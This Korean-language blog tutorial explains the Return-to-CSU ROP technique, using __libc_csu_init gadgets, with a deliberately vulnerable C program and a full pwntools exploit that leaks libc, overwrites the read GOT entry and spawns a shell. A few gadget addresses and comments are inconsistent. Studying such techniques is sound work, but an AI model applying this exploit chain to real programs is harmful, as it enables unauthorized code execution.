오늘은 일명 RTC! Return to csu 기법에 대해 학습해보려고 한다.
ROP를 수행할 때 세 번째 인자를 설정할 수 있는 pop rdx 가젯이 없는 경우에 RTC 기법을 생각해볼 수 있다.
RTC란 __libc_csu_init 함수의 가젯을 사용하여 ROP를 수행하는 기법이다.
우선 예제코드는 그냥 Stack Buffer Overflow 취약점을 가진 코드로 대충 끄적였다. 넉넉하게 0x300의 입력을 받는다.
// gcc -o rop rop.c -no-pie -fno-stack-protector
#include <stdio.h>
void init(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(){
char buf[30];
init();
write(1, "Hello. Input :", 14);
read(0, buf, 0x300);
return 0;
}
그냥 read 함수를 통해 입력값을 한 번 받고 프로그램이 종료된다.
우선 공격에 필요한 가젯부터 찾아보자.💪
objdump -M intel -d rop
위의 커맨드를 통해 필요한 가젯을 확인할 수 있다.
위에서 objdump 명령어를 통해 찾은 결과이다.
필요한 부분은 딱 2가지이다. 바로 빨간박스를 친 부분이다. 두둥❗
우선 아래의 두 번째 박스부터 살펴보자.
4005da: 5b pop rbx
4005db: 5d pop rbp
4005dc: 41 5c pop r12
4005de: 41 5d pop r13
4005e0: 41 5e pop r14
4005e2: 41 5f pop r15
4005e4: c3 ret
pop 어셈블리어를 통해 rbx, rbp, r12, r13, r14, r15 레지스터에 값을 설정해주고 있다.
이 상태로 첫 번째 박스를 보자!
4005c0: 4c 89 fa mov rdx,r15
4005c3: 4c 89 f6 mov rsi,r14
4005c6: 44 89 ef mov edi,r13d
4005c9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
아까 설정한 r15 레지스터가 rdx 레지스터에 들어가고, r14 레지스터가 rsi, r13d 레지스터가 edi 레지스터에 들어가고 있다.
즉, r13은 첫 번째 인자, r14은 두 번째 인자, r15는 세 번째 인자를 설정해주고 있다.
이후 QWORD PTR [r12 + rbx * 8]에 저장된 주소를 호출한다.
만약 rbx레지스터가 0이고, r12 레지스터에 원하는 주소를 넣으면 원하는 주소로 실행 흐름을 바꿀 수 있을 것이다.
또한 마지막으로 살펴볼 부분이 있다. 바로 빨간색 박스 사이에 있는 부분이다.
40073d: 48 83 c3 01 add rbx,0x1
400741: 48 39 dd cmp rbp,rbx
400744: 75 ea jne 400730 <__libc_csu_init+0x40>
400746: 48 83 c4 08 add rsp,0x8
해당 부분에서 rbx를 0x0으로, rbp를 0x1로 설정해주면 두 번째 박스까지 자연스럽게 흐름이 이어진다.
즉, call QWORD PTR [r12+rbx*0x8] 이후 pop rbx; pop rbp .. 가 있는 코드 가젯으로 실행 흐름이 이어지는 것이다.
이렇게 끝나면 심심하니까 그냥 Exploit Code를 작성하고 마치겠다.
📃 Exploit 시나리오는 간단하게 설명해보면 아래와 같다.
1. write 함수 호출
: read 함수의 주소를 출력하여, libc 및 system 함수 주소 계산
2. read 함수 호출
: bss영역에 "/bin/sh" 문자열 저장
3. read 함수 호출
: read_got에 system 함수 주소로 overwrite
4. system("/bin/sh") 호출
: read_got(bss)를 호출하여 system("/bin/sh") 호출
from pwn import *
context.log_level = 'debug'
p = process('./rop')
binary = ELF('./rop')
bss = 0x000000000601040
ret_addr = 0x000000000040050e
gadget1 = 0x400730
"""
mov rdx, r15
mov rsi, r14
mov edi, r13d
"""
gadget2 = 0x40074a
"""
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
"""
print("[*] write plt : ", hex(binary.plt["write"]))
# Input : rbp-0x20
# write(1, read_got, 8)
payload = b"A" * 0x20 + b"B" * 0x8
payload += p64(gadget2)
payload += p64(0x0) # rbx
payload += p64(0x1) # rbp, to Call gadget2
payload += p64(binary.got["write"]) # r12
payload += p64(0x1) # r13
payload += p64(binary.got["read"]) # r14
payload += p64(0x8) # r15
payload += p64(gadget1) # Call write(1, read_got, 8)
payload += p64(0x0) # add rsp, 0x8
# Make read(0, bss, 0x8)
payload += p64(0x0) # pop rbx
payload += p64(0x1) # pop rbp
payload += p64(binary.got["read"]) # pop r12
payload += p64(0x0) # pop r13
payload += p64(bss) # pop r14
payload += p64(0x8) # pop r15
# call read(0, bss, 0x8)
payload += p64(gadget1) # Call read(0, bss, 0x8)
payload += p64(0x0) # add rsp, 0x8
# Make read(0, read_got, 0x8)
payload += p64(0x0) # pop rbx
payload += p64(0x1) # pop rbp
payload += p64(binary.got["read"]) # pop r12
payload += p64(0x0) # pop r13
payload += p64(binary.got["read"]) # pop r14
payload += p64(0x8) # pop r15
# call read(0, read_got, 0x8)
payload += p64(gadget1) # Call read(0, bss, 0x8)
payload += p64(0x0) # add rsp, 0x8
# Make system("/bin/sh")
payload += p64(0x0) # pop rbx
payload += p64(0x0) # pop rbp
payload += p64(binary.got["read"]) # pop r12
payload += p64(bss) # pop r13
payload += p64(0x0) # pop r14
payload += p64(0x0) # pop r15
# system("/bin/sh")
payload += p64(ret_addr) # Add ret gadget
payload += p64(gadget1) # Call system("/bin/sh")
# pause()
p.sendlineafter(b"Hello. Input :", payload)
read_address = u64(p.recvn(8))
libc_address = read_address - 0x110020
system_address = libc_address + 0x4f420
print("[*] read addr : ", hex(read_address))
print("[*] libc addr : ", hex(libc_address))
pause()
p.send(b"/bin/sh\x00")
p.send(p64(system_address))
p.interactive()
진짜 끝 !!👋